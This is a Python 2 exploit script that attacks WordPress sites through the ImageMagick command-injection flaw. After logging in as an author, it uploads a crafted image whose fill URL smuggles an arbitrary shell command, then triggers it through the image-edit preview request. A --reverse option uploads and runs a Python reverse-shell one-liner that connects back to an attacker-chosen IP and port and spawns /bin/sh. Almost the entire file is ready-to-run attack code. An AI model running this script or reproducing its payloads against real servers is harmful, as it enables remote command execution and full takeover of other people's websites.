#coding:utf-8
import requests
from urlparse import urljoin
from copy import deepcopy
import re
import json
import random
import sys
from optparse import OptionParser


class WordPressExp:
    '''
    imagemagic wordpress exp
    '''
    def __init__(self, url, username, passwd):
        self.url = url
        self.username = username
        self.passwd = passwd

        self.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate"
        }

        self.req = requests.Session()
        self.proxy = {
            #'http':'http://127.0.0.1:8080'
        }


    def login(self):
        login_url = urljoin(self.url, 'wp-login.php')
        data = {
            'log':self.username,
            'pwd':self.passwd
        }

        login_headers = deepcopy(self.headers)
        login_headers.update({"Content-Type":"application/x-www-form-urlencoded"})

        resp = self.req.post(login_url, data, headers=login_headers, proxies=self.proxy)

        if 'settings' in resp.headers.get('Set-Cookie'):
            return True

    def __create_article(self):
        '''
        创建文章，获取上传图片时需要的token
        '''
        create_article_url = urljoin(self.url, 'wp-admin/post-new.php')

        resp = self.req.get(create_article_url)
        #print resp.cookies
        #"_wpnonce":"25f84aa529"}}
        upload_token = re.findall('"_wpnonce":"([\d\w]+?)"',resp.content)
        if len(upload_token) == 1 :
            return upload_token[0]

    def upload_jpg(self, filename, content):
        '''
        上传包含imagemagic漏洞利用代码的图片
        '''
        try:
            upload_token = self.__create_article()
            if not upload_token:
                print 'create article failed!'
                return

            upload_url = urljoin(self.url, '/wp-admin/async-upload.php')

            data = {
                'name':filename,
                'action':'upload-attachment',
                '_wpnonce':upload_token,
                'post_id':5, # 需要设置的小一些
            }
            file = {
                "async-upload":(filename,content,'image/jpeg')
            }

            resp = self.req.post(upload_url, files=file, data=data, proxies=self.proxy)
            result = json.loads(resp.content)
            exp_id = result.get('data').get('id')
            exp_token = result.get('data').get('nonces').get('edit')
            exp_url = result.get('data').get('url')

            result = {
                'exp_id':exp_id,
                'exp_token':exp_token,
                'url':exp_url
            }
            return result
        except:
            return 
        

    def run_exp(self, exp_id, exp_token):
        run_exp_url = urljoin(self.url, 'wp-admin/admin-ajax.php?action=imgedit-preview&_ajax_nonce={}&postid={}&rand=1'.format(exp_token, exp_id))

        resp = self.req.get(run_exp_url,proxies=self.proxy)
        return resp.content

    def run(self):
        pass

def generate_payload(command):
    payload = "push graphic-context\r\n"
    payload += "viewbox 0 0 640 480\r\n"
    payload += "fill 'url(https://example.com/image.jpg\"|%s\")'\r\n" % command
    payload += "pop graphic-context\r\n"

    return payload

if __name__ == '__main__':
    usage = '''usage: python wordpress_exp.py [options] arg
            notice: pwd path is wp-admin
            example: touch 1111,the url is http://xxx/wp-admin/1111
            ython wordpress_exp.py -u http://xxx -U test -P test --cmd touch 111

    '''

    parser = OptionParser(usage)
    parser.add_option('-u', '--url', dest = 'url', help = 'the target to pentest')
    parser.add_option('-U', '--username', dest = 'username', default = 'admin', help = 'wordpress author\' account')
    parser.add_option('-P', '--passwd', dest = 'passwd', default = 'admin', help = 'wordpress author\' passwd')
    parser.add_option('--cmd', dest = 'cmd', help = 'command to execute')

    parser.add_option('--reverse',action = 'store_true', default = False, help = 'reverse shell flag')
    parser.add_option('--ip', dest = 'ip', help = 'reverse to ip')
    parser.add_option('--port', dest = 'port', help = 'reverse to port')

    (options, args) = parser.parse_args()

    url = options.url
    username = options.username
    passwd = options.passwd
    cmd = options.cmd
    reverse = options.reverse
    ip = options.ip
    port = options.port

    if not all([url,username,passwd]):
        print usage
        sys.exit()

    test = WordPressExp(url, username, passwd)

    login_success = test.login()
    if not login_success:
        print 'target: {url} login failed!'.format(url=url)
        sys.exit()

    if reverse:
        #上传一个Python版的反弹代码
        payload = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'.format(ip=ip,port=port)
        filename = str(random.randint(10000,90000)) + '.jpg'
        
        upload_result = test.upload_jpg(filename,payload)
        if not upload_result:
            print 'upload exp picture failed!'
            sys.exit()
        #print 'pic path: ' + upload_result['url']

        #执行上传的python 反弹代码
        payload = generate_payload('nohup python ../wp-content/uploads/2017/02/%s &' % filename)
        filename = str(random.randint(10000,90000)) + '.jpg'

        upload_result = test.upload_jpg(filename,payload)
        if not upload_result:
            print 'upload exp picture failed!'
            sys.exit()

        result = test.run_exp(upload_result['exp_id'],upload_result['exp_token'])
        if '-1' not in result:
            print 'sucess!'
        else:
            print 'falied'

    elif cmd:
        payload = generate_payload(cmd)
        filename = str(random.randint(10000,90000)) + '.jpg'

        upload_result = test.upload_jpg(filename,payload)
        if not upload_result:
            print 'upload exp picture failed!'
            sys.exit()
        #print 'pic path: ' + upload_result['url']

        result = test.run_exp(upload_result['exp_id'],upload_result['exp_token'])
        if '-1' not in result:
            print 'sucess!'
        else:
            print 'falied'

    else:
        print '--cmd ,--reverse must have one'
